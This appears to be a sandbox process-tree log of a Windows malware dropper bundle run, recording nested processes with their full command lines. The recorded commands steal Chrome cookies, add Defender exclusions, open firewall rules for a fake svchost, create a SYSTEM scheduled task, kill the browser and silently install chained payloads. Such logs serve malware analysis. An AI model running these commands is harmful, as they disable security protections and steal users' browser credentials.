C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05ae32a364b2c31.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05ae32a364b2c31.exe"1⤵PID:1056
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05f8edfbe05bce6.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05f8edfbe05bce6.exe"1⤵PID:3660
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",2⤵PID:2684
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",3⤵PID:4552
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",4⤵PID:7156
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",5⤵PID:2988
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed051a48c11a13fad7b.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed051a48c11a13fad7b.exe"1⤵PID:2796
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:4152
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt2⤵PID:4228
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0555acc9ced75.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0555acc9ced75.exe"1⤵PID:1844
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0555acc9ced75.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0555acc9ced75.exe" -u2⤵PID:6508
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05417d1201d2.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05417d1201d2.exe"1⤵PID:6688
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05adef517e454a1.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05adef517e454a1.exe"1⤵PID:4100
-
C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"2⤵PID:4296
-
C:\Users\Admin\AppData\Local\Temp\mynewstfile.exe"C:\Users\Admin\AppData\Local\Temp\mynewstfile.exe"3⤵PID:5080
-
-
C:\Users\Admin\AppData\Local\Temp\KnSoftInstall3r4827.exe"C:\Users\Admin\AppData\Local\Temp\KnSoftInstall3r4827.exe"3⤵PID:6028
-
C:\ProgramData\4733207.exe"C:\ProgramData\4733207.exe"4⤵
- Checks computer location settings
PID:6160
-
-
C:\ProgramData\4083197.exe"C:\ProgramData\4083197.exe"4⤵PID:6356
-
-
C:\ProgramData\1074724.exe"C:\ProgramData\1074724.exe"4⤵PID:6784
-
C:\Users\Admin\AppData\Roaming\8691535.exe"C:\Users\Admin\AppData\Roaming\8691535.exe"5⤵PID:5820
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",6⤵PID:6700
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",7⤵PID:5724
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",8⤵PID:6136
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",9⤵PID:3600
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Ebook10.exe"C:\Users\Admin\AppData\Local\Temp\Ebook10.exe"3⤵PID:4800
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05920be87739219cb.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05920be87739219cb.exe"1⤵PID:6808
-
C:\Users\Admin\AppData\Local\89e99802-f7af-4e2a-831c-a620a07faf7d.bin"C:\Users\Admin\AppData\Local\89e99802-f7af-4e2a-831c-a620a07faf7d.bin"2⤵PID:5052
-
-
C:\Users\Admin\AppData\Local\262f4bec-afe5-47fc-81ba-ad4caa2c7562.bin"C:\Users\Admin\AppData\Local\262f4bec-afe5-47fc-81ba-ad4caa2c7562.bin"2⤵PID:5140
-
-
C:\Users\Admin\AppData\Local\fd3bf063-6ed1-4066-a9f0-d3ab9fa24091.bin"C:\Users\Admin\AppData\Local\fd3bf063-6ed1-4066-a9f0-d3ab9fa24091.bin"2⤵PID:6972
-
C:\Users\Admin\AppData\Roaming\7503857.exe"C:\Users\Admin\AppData\Roaming\7503857.exe"3⤵PID:5468
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",4⤵PID:3204
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",5⤵PID:6032
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",6⤵PID:6472
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",7⤵PID:5272
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe"1⤵PID:6576
-
C:\Users\Admin\AppData\Local\Temp\is-DCU8K.tmp\Wed05179e74f5f0502.tmp"C:\Users\Admin\AppData\Local\Temp\is-DCU8K.tmp\Wed05179e74f5f0502.tmp" /SL5="$701F2,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe"2⤵PID:6456
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe" /SILENT3⤵PID:6200
-
C:\Users\Admin\AppData\Local\Temp\is-R7F8D.tmp\Wed05179e74f5f0502.tmp"C:\Users\Admin\AppData\Local\Temp\is-R7F8D.tmp\Wed05179e74f5f0502.tmp" /SL5="$50594,870426,780800,C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05179e74f5f0502.exe" /SILENT4⤵PID:492
-
C:\Users\Admin\AppData\Local\Temp\is-GE2AI.tmp\windllhost.exe"C:\Users\Admin\AppData\Local\Temp\is-GE2AI.tmp\windllhost.exe" 775⤵PID:5664
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05110b84295dc.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05110b84295dc.exe"1⤵PID:3768
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05110b84295dc.exeC:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed05110b84295dc.exe2⤵PID:5256
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exe"1⤵PID:2676
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exeC:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exe2⤵PID:3720
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exeC:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exe2⤵PID:5160
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exeC:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed0560cb12c1f.exe2⤵PID:2120
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2120 -s 243⤵
- Program crash
PID:4996
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed058c44b0ac82ee.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed058c44b0ac82ee.exe"1⤵PID:1796
-
C:\Windows\SysWOW64\control.exe"C:\Windows\System32\control.exe" "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",2⤵PID:1548
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",3⤵PID:5744
-
C:\Windows\system32\RunDll32.exeC:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",4⤵PID:3720
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 "C:\Users\Admin\AppData\Local\Temp\6N8R8.Cpl",5⤵PID:2504
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed055ca3ac1ad3.exe"C:\Users\Admin\AppData\Local\Temp\7zS0164C4BB\Wed055ca3ac1ad3.exe"1⤵PID:1976
-
C:\Users\Admin\Pictures\Adobe Films\lkJKXxe6eOU4V0GPo7x8UgGu.exe"C:\Users\Admin\Pictures\Adobe Films\lkJKXxe6eOU4V0GPo7x8UgGu.exe"2⤵PID:6156
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\3⤵PID:2028
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \3⤵PID:1392
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵PID:6956
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes3⤵PID:7188
-
-
C:\Windows\System\svchost.exe"C:\Windows\System\svchost.exe" formal3⤵PID:7296
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\4⤵PID:5448
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵PID:8208
-
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes4⤵PID:8252
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \4⤵PID:8004
-
-
-
C:\Windows\SYSTEM32\schtasks.exeschtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM3⤵
- Creates scheduled task(s)
PID:7204
-
-
-
C:\Users\Admin\Pictures\Adobe Films\I_IfDz5wGwQSPME6jG8xAFNe.exe"C:\Users\Admin\Pictures\Adobe Films\I_IfDz5wGwQSPME6jG8xAFNe.exe"2⤵PID:3460
-
-
C:\Users\Admin\Pictures\Adobe Films\phuqYeO7GJq3Aplr3tPDeC_K.exe"C:\Users\Admin\Pictures\Adobe Films\phuqYeO7GJq3Aplr3tPDeC_K.exe"2⤵PID:1424
-
-
C:\Users\Admin\Pictures\Adobe Films\fBiONrL2FSvuSTNXnQBikF5k.exe"C:\Users\Admin\Pictures\Adobe Films\fBiONrL2FSvuSTNXnQBikF5k.exe"2⤵PID:4500
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /CookiesFile "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Cookies" /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵PID:6280
-
-
C:\Users\Admin\AppData\Local\Temp\11111.exeC:\Users\Admin\AppData\Local\Temp\11111.exe /stab C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt3⤵PID:3240
-
-
-
C:\Users\Admin\Pictures\Adobe Films\PhkSkvlVhIphKRG7KElZl3B_.exe"C:\Users\Admin\Pictures\Adobe Films\PhkSkvlVhIphKRG7KElZl3B_.exe"2⤵PID:6548
-
-
C:\Users\Admin\Pictures\Adobe Films\O0AK2jmheqQ5fOw79aqdas9s.exe"C:\Users\Admin\Pictures\Adobe Films\O0AK2jmheqQ5fOw79aqdas9s.exe"2⤵PID:5368
-
C:\Users\Admin\AppData\Local\Temp\903b4186-5c90-46c8-9c98-7ccfaf1c5d49\3e9cf677-3389-4161-b191-151e7e274cf4.exe"C:\Users\Admin\AppData\Local\Temp\903b4186-5c90-46c8-9c98-7ccfaf1c5d49\3e9cf677-3389-4161-b191-151e7e274cf4.exe" /o /c "Windows-Defender" /r3⤵PID:4776
-
-
C:\Users\Admin\AppData\Local\Temp\903b4186-5c90-46c8-9c98-7ccfaf1c5d49\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\903b4186-5c90-46c8-9c98-7ccfaf1c5d49\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\903b4186-5c90-46c8-9c98-7ccfaf1c5d49\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run3⤵PID:4168
-
C:\Users\Admin\AppData\Local\Temp\903b4186-5c90-46c8-9c98-7ccfaf1c5d49\AdvancedRun.exe"C:\Users\Admin\AppData\Local\Temp\903b4186-5c90-46c8-9c98-7ccfaf1c5d49\AdvancedRun.exe" /SpecialRun 4101d8 41684⤵PID:7068
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\O0AK2jmheqQ5fOw79aqdas9s.exe" -Force3⤵PID:6564
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionExtension "exe" -Force3⤵PID:3588
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\O0AK2jmheqQ5fOw79aqdas9s.exe" -Force3⤵PID:5592
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe"3⤵PID:6400
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"3⤵PID:3720
-
-
-
C:\Users\Admin\Pictures\Adobe Films\iMIphcDvAk5jPv5X4fvaGhml.exe"C:\Users\Admin\Pictures\Adobe Films\iMIphcDvAk5jPv5X4fvaGhml.exe"2⤵PID:4332
-
C:\Users\Admin\Pictures\Adobe Films\iMIphcDvAk5jPv5X4fvaGhml.exe"C:\Users\Admin\Pictures\Adobe Films\iMIphcDvAk5jPv5X4fvaGhml.exe"3⤵PID:1152
-
-
-
C:\Users\Admin\Pictures\Adobe Films\9nMijd7MpzaytVSRhu_exyu2.exe"C:\Users\Admin\Pictures\Adobe Films\9nMijd7MpzaytVSRhu_exyu2.exe"2⤵PID:4148
-
C:\Users\Admin\AppData\Local\Temp\is-DJJJB.tmp\9nMijd7MpzaytVSRhu_exyu2.tmp"C:\Users\Admin\AppData\Local\Temp\is-DJJJB.tmp\9nMijd7MpzaytVSRhu_exyu2.tmp" /SL5="$40754,140559,56832,C:\Users\Admin\Pictures\Adobe Films\9nMijd7MpzaytVSRhu_exyu2.exe"3⤵PID:5880
-
C:\Users\Admin\AppData\Local\Temp\is-8P2AL.tmp\Bouderbela.exe"C:\Users\Admin\AppData\Local\Temp\is-8P2AL.tmp\Bouderbela.exe" /S /UID=27094⤵PID:1864
-
C:\Users\Admin\AppData\Local\Temp\d6-1b75b-f4f-077b6-ebcf7aa721654\Faepalesahu.exe"C:\Users\Admin\AppData\Local\Temp\d6-1b75b-f4f-077b6-ebcf7aa721654\Faepalesahu.exe"5⤵PID:7760
-
-
C:\Users\Admin\AppData\Local\Temp\c4-2a37e-c6f-ca590-5b191eccd72f7\Pywidaexaja.exe"C:\Users\Admin\AppData\Local\Temp\c4-2a37e-c6f-ca590-5b191eccd72f7\Pywidaexaja.exe"5⤵PID:7832
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rvrvmj0i.qb1\fq.exe /S /subid=948 & exit6⤵PID:368
-
C:\Users\Admin\AppData\Local\Temp\rvrvmj0i.qb1\fq.exeC:\Users\Admin\AppData\Local\Temp\rvrvmj0i.qb1\fq.exe /S /subid=9487⤵PID:9544
-
C:\Users\Admin\AppData\Local\Temp\nsnD7B0.tmp\fq.exeC:\Users\Admin\AppData\Local\Temp\nsnD7B0.tmp\fq.exe8⤵PID:9720
-
-
C:\Users\Admin\AppData\Local\Temp\nsnD7B0.tmp\fq.exe"C:\Users\Admin\AppData\Local\Temp\nsnD7B0.tmp\fq.exe" /S /subid=9488⤵PID:9848
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2n1jlbyo.wtn\setting.exe SID=778 CID=778 SILENT=1 /quiet & exit6⤵PID:8256
-
C:\Users\Admin\AppData\Local\Temp\2n1jlbyo.wtn\setting.exeC:\Users\Admin\AppData\Local\Temp\2n1jlbyo.wtn\setting.exe SID=778 CID=778 SILENT=1 /quiet7⤵PID:9640
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Settings\Settings 1.0.0\install\0182C6A\Settings Installation.msi" SID=778 CID=778 SILENT=1 /quiet AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\2n1jlbyo.wtn\setting.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\2n1jlbyo.wtn\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1638933756 SID=778 CID=778 SILENT=1 /quiet " SID="778" CID="778"8⤵PID:9540
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fztjcagi.dlw\161.exe /silent /subid=798 & exit6⤵PID:7964
-
C:\Users\Admin\AppData\Local\Temp\fztjcagi.dlw\161.exeC:\Users\Admin\AppData\Local\Temp\fztjcagi.dlw\161.exe /silent /subid=7987⤵PID:10032
-
C:\Users\Admin\AppData\Local\Temp\is-Q2BTO.tmp\161.tmp"C:\Users\Admin\AppData\Local\Temp\is-Q2BTO.tmp\161.tmp" /SL5="$70492,15170975,270336,C:\Users\Admin\AppData\Local\Temp\fztjcagi.dlw\161.exe" /silent /subid=7988⤵PID:8736
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "9⤵PID:10492
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090110⤵PID:10464
-
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uhf3klrk.lwf\installer.exe /qn CAMPAIGN="654" & exit6⤵PID:6928
-
C:\Users\Admin\AppData\Local\Temp\uhf3klrk.lwf\installer.exeC:\Users\Admin\AppData\Local\Temp\uhf3klrk.lwf\installer.exe /qn CAMPAIGN="654"7⤵PID:10172
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\5dtk44cu.aov\random.exe & exit6⤵PID:8300
-
C:\Users\Admin\AppData\Local\Temp\5dtk44cu.aov\random.exeC:\Users\Admin\AppData\Local\Temp\5dtk44cu.aov\random.exe7⤵PID:8468
-
C:\Users\Admin\AppData\Local\Temp\5dtk44cu.aov\random.exe"C:\Users\Admin\AppData\Local\Temp\5dtk44cu.aov\random.exe" -u8⤵PID:3412
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1qc2o1cu.xz4\askinstall42.exe & exit6⤵PID:6528
-
C:\Users\Admin\AppData\Local\Temp\1qc2o1cu.xz4\askinstall42.exeC:\Users\Admin\AppData\Local\Temp\1qc2o1cu.xz4\askinstall42.exe7⤵PID:7172
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe8⤵PID:3800
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe9⤵
- Kills process with taskkill
PID:10248
-
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe"8⤵PID:7744
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xe8,0xec,0xf0,0xc4,0xf4,0x7ff8943c4f50,0x7ff8943c4f60,0x7ff8943c4f709⤵PID:8820
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2340 /prefetch:89⤵PID:11108
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2692 /prefetch:19⤵PID:11212
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2608 /prefetch:19⤵PID:11204
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1764 /prefetch:89⤵PID:11100
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1688 /prefetch:29⤵PID:11092
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:19⤵PID:10560
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3548 /prefetch:19⤵PID:10696
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3372 /prefetch:89⤵PID:1844
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4208 /prefetch:89⤵PID:4024
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4256 /prefetch:89⤵PID:6564
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.15063.0 --gpu-preferences=SAAAAAAAAADoAAAwAAAAAAAAAAAAAAAAAABgAAAQAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=5376 /prefetch:29⤵PID:10452
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5460 /prefetch:89⤵PID:4544
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5592 /prefetch:89⤵PID:6596
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5588 /prefetch:19⤵PID:10700
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1668,3707292387309567733,8344986814856671284,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4980 /prefetch:89⤵PID:10344
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vixthx0y.sqi\siww1045.exe & exit6⤵PID:9360
-
